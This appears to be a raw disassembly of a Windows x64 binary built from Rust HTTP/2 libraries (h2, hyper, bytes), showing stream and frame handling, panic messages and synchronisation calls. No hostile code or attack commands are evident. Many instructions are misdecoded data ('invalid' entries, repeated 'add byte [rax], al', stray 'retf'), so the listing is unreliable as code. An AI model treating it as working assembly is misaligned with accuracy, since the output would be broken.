mov rcx, qword [rsp + 0x560]
mov rax, qword [rsp + 0x568]
test rdx, rdx
je 0x1400a1d00
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x570]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x558]
cmp r8, 2
je 0x1400a1d80
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rsp + 0x560]
mov rax, qword [rsp + 0x568]
test r8, r8
je 0x1400a23a8
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x560]
lock dec qword [rax]
jne 0x1400a1d80
mov rcx, qword [rsp + 0x560]
mov rdx, qword [rsp + 0x568]
call fcn.140004950
nop word cs:[rax + rax]
mov al, 9
cmp r12b, 0xa
je 0x1400a1efe
movzx eax, r12b
cmp eax, 9
je 0x1400a26fe
cmp eax, 0xb
je 0x1400a26ee
movzx eax, byte [rsp + 0x156]
mov byte [rsp + 0x14a], al
movzx eax, word [rsp + 0x154]
mov word [rsp + 0x148], ax
mov r8d, 0xe0
lea rcx, [rsp + 0xa10]
lea rdx, [rsp + 0xbd0]
call fcn.140106530
movzx eax, word [rsp + 0x150]
mov word [rsp + 0x144], ax
movzx eax, byte [rsp + 0x152]
mov byte [rsp + 0x146], al
movzx eax, word [rsp + 0x14c]
mov word [rsp + 0x140], ax
movzx eax, byte [rsp + 0x14e]
mov byte [rsp + 0x142], al
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0xbf], al
movzx eax, word [rsp + 0x1a4]
mov word [rsp + 0x1a6], ax
mov eax, dword [rsp + 0x4dc]
mov dword [rsp + 0x4fc], eax
mov eax, dword [rsp + 0x17c]
mov dword [rsp + 0x4f8], eax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x4f4], eax
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x4c0]
mov qword [rsp + 0x5b8], rax
mov eax, dword [rsp + 0x194]
mov dword [rsp + 0x4f0], eax
mov eax, dword [rsp + 0x198]
mov dword [rsp + 0x4ec], eax
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x4e8], eax
mov eax, dword [rsp + 0x1a0]
mov dword [rsp + 0x4e4], eax
mov eax, dword [rsp + 0x4d8]
mov dword [rsp + 0x4e0], eax
movzx eax, byte [rsp + 0xba]
mov byte [rsp + 0xbe], al
movzx eax, byte [rsp + 0xb9]
mov byte [rsp + 0xbd], al
mov eax, r12d
movzx ecx, byte [rsp + 0xb8]
mov byte [rsp + 0xbc], cl
movdqa xmm11, xmm12
mov byte [rsp + 0x8e8], al
movzx eax, byte [rsp + 0xbf]
mov byte [rsp + 0x8e9], al
movzx eax, word [rsp + 0x1a6]
mov word [rsp + 0x8ea], ax
mov eax, dword [rsp + 0x4fc]
mov dword [rsp + 0x8ec], eax
mov eax, dword [rsp + 0x4f8]
mov dword [rsp + 0x8f0], eax
mov eax, dword [rsp + 0x4f4]
mov dword [rsp + 0x8f4], eax
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0x8f8], rax
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x900], rax
mov eax, dword [rsp + 0x4f0]
mov dword [rsp + 0x908], eax
mov eax, dword [rsp + 0x4ec]
mov dword [rsp + 0x90c], eax
mov eax, dword [rsp + 0x4e8]
mov dword [rsp + 0x910], eax
mov eax, dword [rsp + 0x4e4]
mov dword [rsp + 0x914], eax
mov eax, dword [rsp + 0x4e0]
mov dword [rsp + 0x918], eax
movq qword [rsp + 0x91c], xmm11
movzx eax, byte [rsp + 0xbe]
mov byte [rsp + 0x924], al
movzx eax, byte [rsp + 0x14a]
lea rsi, [rsp + 0x925]
mov byte [rsi + 2], al
movzx eax, word [rsp + 0x148]
mov word [rsi], ax
mov r8d, 0xe0
lea rcx, [rsp + 0x928]
lea rdx, [rsp + 0xa10]
call fcn.140106530
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0xa08], al
movzx eax, word [rsp + 0x144]
mov word [rsi + 0xe4], ax
movzx eax, byte [rsp + 0x146]
mov byte [rsi + 0xe6], al
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0xa0c], al
movzx eax, byte [rsp + 0x142]
mov byte [rsi + 0xea], al
movzx eax, word [rsp + 0x140]
mov word [rsi + 0xe8], ax
lea rcx, [rsp + 0x860]
lea rdx, [rsp + 0x828]
lea r8, [rsp + 0x8e8]
call fcn.1400a4d00
cmp dword [rsp + 0x860], 0
jne 0x1400a2663
mov ecx, dword [rsp + 0x864]
lea r8, [rsp + 0x868]
movdqu xmm0, xmmword [r8]
movdqu xmm1, xmmword [r8 + 0x10]
movups xmm2, xmmword [r8 + 0x20]
movdqa xmmword [rsp + 0x5f0], xmm0
movdqa xmmword [rsp + 0x600], xmm1
movaps xmmword [rsp + 0x610], xmm2
mov eax, dword [r8 + 0x30]
mov dword [rsp + 0x620], eax
movzx eax, byte [rsp + 0x89c]
movzx edx, word [r8 + 0x35]
mov word [rsp + 0x158], dx
movzx edx, byte [r8 + 0x37]
mov byte [rsp + 0x15a], dl
lea r8d, [rcx - 2]
lea rdx, [r8 + 1]
cmp r8d, 2
mov r8d, 0
cmovae rdx, r8
test rdx, rdx
je 0x1400a2120
cmp rdx, 1
jne 0x1400a26b0
mov rax, qword [rsp + 0x538]
jmp 0x14009d2a0
test al, 1
jne 0x1400a21b0
cmp dword [rdi + 0x480], 2
jne 0x1400a2c6b
mov dword [rdi + 0x480], ecx
mov ecx, dword [rsp + 0x620]
mov rdx, qword [rsp + 0x530]
mov dword [rdx + 0x30], ecx
movdqa xmm0, xmmword [rsp + 0x5f0]
movdqa xmm1, xmmword [rsp + 0x600]
movaps xmm2, xmmword [rsp + 0x610]
movups xmmword [rdx + 0x20], xmm2
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov byte [rdi + 0x4b8], al
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x5a0]
mov byte [rcx + 2], al
movzx eax, word [rsp + 0x158]
mov word [rcx], ax
mov rax, qword [rsp + 0x538]
jmp 0x14009d2a0
cmp dword [rdi + 0x440], 1
jne 0x1400a283a
cmp dword [rdi + 0x464], 0
je 0x1400a21e2
mov eax, dword [rdi + 0x468]
lea ecx, [rax - 0x4000]
cmp ecx, 0xffc000
jae 0x1400a2cce
mov qword [rdi + 0x10], rax
cmp dword [rdi + 0x46c], 0
je 0x1400a21f8
mov eax, dword [rdi + 0x470]
mov qword [rdi + 0x378], rax
cmp dword [rdi + 0x444], 0
je 0x1400a2233
mov eax, dword [rdi + 0x448]
mov rcx, qword [rdi + 0x1d0]
cmp rcx, rax
cmovbe rcx, rax
cmp qword [rdi + 0x1c8], 0
cmove rcx, rax
mov qword [rdi + 0x1c8], 1
mov qword [rdi + 0x1d0], rcx
mov rsi, qword [rdi + 0x408]
lea rcx, [rsi + 0x10]
xor eax, eax
mov dl, 1
lock cmpxchg byte [rsi + 0x10], dl
jne 0x1400a24f9
call qword [rax + 0x80]
mov al, 9
cmp r12b, 0xa
jne 0x1400a1d8c
jmp 0x1400a1efe
mov rcx, qword [rdx]
cmp rcx, rax
jae 0x1400a257c
cmp rcx, qword [rdi + 0xb0]
setbe cl
cmovbe rdx, qword [rsp + 0x528]
jmp 0x1400a257e
cmp qword [rdi + 0xb0], rax
je 0x1400a258f
xor ecx, ecx
movzx ecx, cl
mov r8, qword [rsp + 0xa8]
mov qword [r8], rcx
mov qword [rdx], rax
cmp dword [rdi + 0x4a0], 0
je 0x14009d7ad
mov eax, dword [rdi + 0x4a4]
cmp eax, 0x1000000
jae 0x1400a2f22
mov dword [rdi + 0x180], eax
jmp 0x14009d7ad
mov r12, rcx
call fcn.1401105f0
mov rcx, r12
test al, al
jne 0x14009e61c
mov rax, qword [rsp + 0x518]
mov byte [rax + 0x11], 1
jmp 0x14009e61c
call fcn.1401105f0
test al, al
jne 0x14009e647
mov byte [rsi + 0x11], 1
jmp 0x14009e647
add ecx, ebp
xor eax, eax
invalid
movzx eax, r14b
cmp eax, 4
je 0x1400a26ee
mov rax, qword [rsp + 0x120]
mov byte [rax], r14b
movzx ecx, byte [rsp + 0x67]
mov byte [rax + 1], cl
movzx ecx, word [rsp + 0xa6]
mov word [rax + 2], cx
mov ecx, dword [rsp + 0x178]
mov dword [rax + 4], ecx
movupd xmmword [rax + 8], xmm10
movdqa xmm0, xmmword [rsp + 0x580]
movdqu xmmword [rax + 0x18], xmm0
jmp 0x1400a28a0
lea rcx, [rsp + 0x868]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x610], rax
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqa xmmword [rsp + 0x600], xmm1
movdqa xmmword [rsp + 0x5f0], xmm0
mov rcx, qword [rsp + 0x120]
mov qword [rcx + 0x20], rax
jmp 0x1400a282f
cmp byte [rdi + 0x3dd], 0
je 0x1400a27a7
mov rax, qword [rsp + 0x120]
mov byte [rax], 3
jmp 0x1400a28a0
mov rax, qword [rsp + 0x4c8]
mov qword [rax], rbx
movdqa xmm0, xmmword [rsp + 0x650]
movdqa xmm1, xmmword [rsp + 0x660]
mov rax, qword [rsp + 0x538]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0x120]
mov byte [rax], 4
jmp 0x1400a28a0
mov rax, qword [rsp + 0x120]
mov ecx, dword [rsp + 0x17c]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x190]
mov dword [rax + 4], ecx
mov rcx, qword [rsp + 0x4b8]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x4c0]
mov qword [rax + 0x10], rcx
mov ecx, dword [rsp + 0x194]
mov dword [rax + 0x18], ecx
mov ecx, dword [rsp + 0x198]
mov dword [rax + 0x1c], ecx
mov ecx, dword [rsp + 0x19c]
mov dword [rax + 0x20], ecx
mov ecx, dword [rsp + 0x1a0]
mov dword [rax + 0x24], ecx
jmp 0x1400a28a0
add dword [rax], eax
add byte [rax - 0x77], cl
fld1
retf 0x6dd
mov rcx, rbx
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009cf9b
call fcn.1401105f0
xor al, 1
movzx ecx, byte [rsi + 0x11]
test cl, cl
je 0x14009cfa9
jb 0x1400a275a
invalid
mov qword [rsp + 0x340], rbx
mov byte [rsp + 0x348], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a2d17
mov rax, qword [rsp + 0x120]
mov word [rax], 0x101
mov dword [rax + 4], esi
lea rcx, [0x14013e948]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 0x18], xmm0
jmp 0x1400a28a0
lea rcx, [rsp + 0x1e8]
mov rax, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
mov rsi, rdx
mov rdx, rax
call qword [rbx + 0x10]
lea rcx, [rsp + 0x340]
mov rdx, rsi
call fcn.14001a200
mov rax, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x120]
mov qword [rcx + 0x20], rax
movdqu xmm0, xmmword [rsp + 0x340]
movdqu xmm1, xmmword [rsp + 0x350]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
jmp 0x1400a28a0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x630], xmm0
mov eax, 1
mov bl, 1
lea rdx, [0x14013e948]
jmp 0x1400a2875
mov rcx, qword [rsp + 0x120]
mov byte [rcx], bl
mov byte [rcx + 1], 1
mov dword [rcx + 4], eax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], 1
movdqa xmm0, xmmword [rsp + 0x630]
movdqu xmmword [rcx + 0x18], xmm0
movaps xmm6, xmmword [rsp + 0xcb0]
movaps xmm7, xmmword [rsp + 0xcc0]
add byte [rdi], cl
sub byte [rsp + 0xcc0], bh
movaps xmm8, xmmword [rsp + 0xcd0]
movaps xmm9, xmmword [rsp + 0xce0]
movaps xmm10, xmmword [rsp + 0xcf0]
movaps xmm11, xmmword [rsp + 0xd00]
movaps xmm12, xmmword [rsp + 0xd10]
movaps xmm13, xmmword [rsp + 0xd20]
add byte [rax], al
add byte [rax], al
add rsp, 0xd38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401105f0
test al, al
jne 0x14009d129
mov byte [rsi + 0x11], 1
adc dword [rcx], eax
jmp 0x14009d129
lea r8, [0x140129d68]
mov ecx, 1
mov edx, 1
call fcn.1401085b0
lea r8, [0x140129d80]
mov ecx, 2
mov edx, 2
call fcn.1401085b0
lea r8, [0x140129d80]
mov ecx, 3
mov edx, 3
call fcn.1401085b0
lea r8, [0x140129d80]
mov ecx, 4
mov edx, 4
call fcn.1401085b0
lea r8, [0x140129d80]
mov ecx, 5
mov edx, 5
call fcn.1401085b0
lea rax, [rsp + 0xaf4]
mov qword [rsp + 0x1d0], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x1d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 1
mov qword [rsp + 0x360], 0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x340]
call fcn.140108560
lea rax, [rsp + 0x738]
mov qword [rsp + 0x1d0], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x1d8], rax
mov rcx, qword [rsp + 0x490]
mov qword [rsp + 0x1e0], rcx
mov qword [rsp + 0x1e8], rax
lea rax, [0x1401424a0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
mov qword [rsp + 0x360], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x340]
call fcn.140108560
lea r8, [0x14013d6c8]
call fcn.140108620
mov qword [rsp + 0x340], 0
lea rcx, [rsp + 0xaf0]
lea rdx, [rsp + 0x738]
lea r8, [rsp + 0x340]
call fcn.14010ebd0
lea rax, [rsp + 0x73c]
mov qword [rsp + 0x1d0], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x1d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 1
mov qword [rsp + 0x360], 0
lea rax, [rsp + 0x1d0]
rol byte [rcx], 1
add byte [rax], al
rol byte [rcx], 1
add byte [rax], al
jmp 0x1400a2ba1
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_stream_id.rs
mov ecx, 4
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_framehead.rs
mov ecx, 5
mov rdx, r12
call fcn.1401085a0
lea rcx, str.reset_at_must_be_set_if_in_queue
lea r8, [0x140129440]
mov edx, 0x20
call fcn.140108990
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108970
lea rax, [rsp + 0xa14]
mov qword [rsp + 0x738], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x740], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 1
mov qword [rsp + 0x360], 0
lea rax, [rsp + 0x738]
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
or byte [rax], al
or byte [rax], al
lea rcx, [rsp + 0x340]
call fcn.140108560
lea rax, [rsp + 0xa14]
mov qword [rsp + 0x738], rax
lea rax, [0x14001b1f0]
dec dword [rax - 0x77]
test byte [rax + rax*2], ah
invalid
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 1
mov qword [rsp + 0x360], 0
lea rax, [rsp + 0x738]
jmp 0x1400a29cc
dec dword [rax - 0x77]
test byte [rax + rax*2], ah
invalid
mov byte [rsp + 0x340], al
lea rax, [0x14013e9d8]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_GOAWAY_frameC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotogo_away.rs
lea r9, [0x14013f9a8]
lea r8, [rsp + 0x340]
mov edx, 0x14
call fcn.1401088e0
mov qword [rsp + 0x340], r14
mov byte [rsp + 0x348], r15b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a2d17
lea rcx, [0x14013f370]
lea r8, [0x14013f400]
mov edx, 0x27
call fcn.140108630
mov qword [rsp + 0x340], rcx
mov byte [rsp + 0x348], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a2d17
mov byte [rsp + 0x340], al
lea rax, [0x14013f578]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_pong_frame
lea r9, [0x14013f9a8]
lea r8, [rsp + 0x340]
mov edx, 0x12
call fcn.1401088e0
lea rcx, str.assertion_failed:_DEFAULT_MAX_FRAME_SIZE_as_usize___val__val___MAX_MAX_FRAME_SIZE_as_usizeC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_read.rs
lea r8, [0x14013e7b8]
mov edx, 0x5e
call fcn.140108630
mov byte [rsp + 0x340], al
lea rax, [0x14013f430]
jmp 0x1400a2e53
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x340], rax
mov byte [rsp + 0x348], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
lea r8, [rsp + 0x340]
mov edx, 0x2b
call fcn.1401088e0
mov qword [rsp + 0x340], r14
mov byte [rsp + 0x348], al
invalid
add byte [rax - 0x73], cl
add eax, 0x9c3ce
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013faa8]
lea r8, [rsp + 0x340]
mov edx, 0x2b
call fcn.1401088e0
mov byte [rsp + 0x340], al
lea rax, [0x14013f530]
jmp 0x1400a2f48
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108970
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140108630
lea r8, [0x140116d28]
mov ecx, 9
mov rdx, r12
call fcn.1401085a0
lea r8, [0x140116d10]
mov ecx, 9
mov rdx, r12
call fcn.1401085a0
lea r8, [0x140116d70]
mov ecx, 9
mov rdx, r12
call fcn.1401085a0
lea r8, [0x140116d58]
mov ecx, 9
mov rdx, r12
call fcn.1401085a0
lea r8, [0x140116d40]
mov ecx, 9
mov rdx, r12
call fcn.1401085a0
mov byte [rsp + 0x340], al
lea rax, [0x14013eb60]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_RST_STREAM_frameC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_recv.rs
lea r9, [0x14013f9a8]
lea r8, [rsp + 0x340]
mov edx, 0x18
call fcn.1401088e0
mov byte [rsp + 0x340], al
lea rax, [0x14013f4a0]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_settings_frame
lea r9, [0x14013f9a8]
lea r8, [rsp + 0x340]
mov edx, 0x16
call fcn.1401088e0
lea r8, [0x140116cf8]
mov ecx, 9
mov rdx, r12
call fcn.1401085a0
mov qword [rsp + 0xc0], rdx
lea rax, [rsp + 0x500]
mov qword [rsp + 0x1d0], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x1d8], rax
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + riz*8], fs
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xacbf6
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
and al, 0xc0
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + riz*8], fs
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xacbf6
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
mov qword [rsp + 0x360], 0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x340]
call fcn.140108560
lea rcx, str.assertion_failed:_val___frame::MAX_MAX_FRAME_SIZE_as_usize
lea r8, [0x14013f488]
mov edx, 0x3b
call fcn.140108630
mov byte [rsp + 0x340], al
lea rax, [0x14013f548]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_ping_frameC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoping_pong.rs
lea r9, [0x14013f9a8]
lea r8, [rsp + 0x340]
mov edx, 0x12
call fcn.1401088e0
mov ecx, 1
mov rdx, r12
call fcn.1401082a0
call fcn.140010970
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
lea rcx, [0x1401162b0]
call fcn.140108970
mov qword [rsp + 0x500], r9
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x1d0], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x1d8], rax
lea rcx, [rsp + 0x500]
mov qword [rsp + 0x1e0], rcx
mov qword [rsp + 0x1e8], rax
lea rax, str.split_off_out_of_bounds:
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
mov qword [rsp + 0x360], 0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x340]
call fcn.140108560
mov qword [rsp + 0xe0], rbx
lea rax, [rsp + 0x500]
mov qword [rsp + 0xc0], rax
add byte [rax], al
add byte [rax], al
lea rax, [0x1400e9f80]
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rax
lea rax, str.split_off_out_of_bounds:
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
mov qword [rsp + 0x360], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x340]
call fcn.140108560
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xc0], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x308]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rax
lea rax, [0x1401424a0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
mov qword [rsp + 0x360], 0
lea rax, [rsp + 0xc0]
jmp 0x1400a2a5a
sub byte [rax], al
add byte [rax], al
call fcn.1401082c0
call fcn.140108550
int3
xor eax, dword [rbx]
add byte [rax], al
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne case.0x14002a2ab.1747
xor edi, edi
movzx eax, byte [rsi + 1]
test al, al
jne 0x1400a34fd
mov rbx, qword [rcx + 8]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx], cl
jne 0x1400a3530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne case.0x140031ef2.1700
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x84], edi
mov qword [rsp + 0x78], rbx
movzx eax, byte [rbx + 1]
test al, al
jne 0x1400a35f4
mov rbx, qword [rsi + 0x210]
test rbx, rbx
je 0x1400a3398
lea rdi, [rsi + 8]
mov rax, qword [rsp + 0x78]
js 0x1400a3254
add eax, 8
js 0x1400a3254
add eax, 8
mov qword [rsp + 0xc0], rax
lea rax, [rsi + 0x1b8]
mov qword [rsp + 0x98], rax
lea rax, [rsi + 0x110]
mov qword [rsp + 0x90], rax
xor r14d, r14d
jmp 0x1400a3278
invalid
nop word ds:[rax + rax]
cmp ebp, 0x3b9aca00
setne r8b
mov rcx, rdi
lea rdx, [rsp + 0xb0]
call fcn.14001f580
mov rax, qword [rsi + 0x210]
cmp rax, rbx
sbb r14, 0xffffffffffffffff
cmp rax, rbx
sbb rbx, 0
cmp r14, rbx
jae 0x1400a3398
add al, ch
ret
cmp r14, qword [rsi + 0x1f0]
jae 0x1400a35e8
mov rax, qword [rsi + 0x1e8]
mov rcx, r14
shl rcx, 4
mov r12d, dword [rax + rcx + 8]
mov r15d, dword [rax + rcx + 0xc]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], r15d
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], al
and al, 0xbc
add byte [rax], al
add byte [rcx + rcx*4 + 0x7c], al
and al, 0x38
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], al
and al, 0xbc
add byte [rax], al
add byte [rcx + rcx*4 + 0x7c], al
and al, 0x38
mov dword [rsp + 0x3c], r12d
cmp qword [rsi + 0x1c8], r15
jbe 0x1400a3587
mov rdx, qword [rsi + 0x1c0]
imul r13, r15, 0x130
cmp dword [rdx + r13], 2
je 0x1400a3587
add rdx, r13
cmp dword [rdx + 0x114], r12d
movabs byte [0x28a850f00000114], al
add byte [rax], al
movabs byte [0x28a850f00000114], al
add byte [rax], al
mov ebp, dword [rdx + 0x48]
mov rcx, qword [rsp + 0x88]
call fcn.140024bd0
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xc0]
lea r8, [rsp + 0xb0]
call fcn.14008b720
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x3c], r12d
cmp qword [rsi + 0x1c8], r15
jbe 0x1400a3587
mov rax, qword [rsi + 0x1c0]
cmp dword [rax + r13], 2
je 0x1400a3587
add rax, r13
cmp dword [rax + 0x114], r12d
jne 0x1400a3587
mov edx, dword [rax + 0x84]
test edx, edx
jle 0x1400a3240
mov dword [rax + 0x84], 0
mov rcx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
mov r9, rdi
call fcn.140020e70
jmp 0x1400a3240
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rdi, [rsi + 0x180]
movzx eax, byte [rsi + 0x180]
cmp eax, 3
mov rbx, qword [rsp + 0x78]
je 0x1400a3421
test eax, eax
je 0x1400a3421
cmp eax, 1
jne 0x1400a33fc
lea rcx, [rsi + 0x1a0]
mov rax, qword [rsi + 0x188]
mov rdx, qword [rsi + 0x190]
mov r8, qword [rsi + 0x198]
call qword [rax + 0x10]
jmp 0x1400a3421
mov rax, qword [rsi + 0x188]
shl rax, 1
test rax, rax
je 0x1400a3421
mov r8, qword [rsi + 0x190]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x20], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
cmp byte [rsp + 0x34], 0
jne 0x1400a3455
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a355b
xor eax, eax
xchg byte [rbx], al
cmp al, 2
mov edi, dword [rsp + 0x84]
jne 0x1400a346d
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test dil, dil
jne 0x1400a3485
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a3571
add byte [rax], al
add byte [rax], al
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x1400a34aa
mov rcx, rsi
add rsp, 0xc8
pop rbx
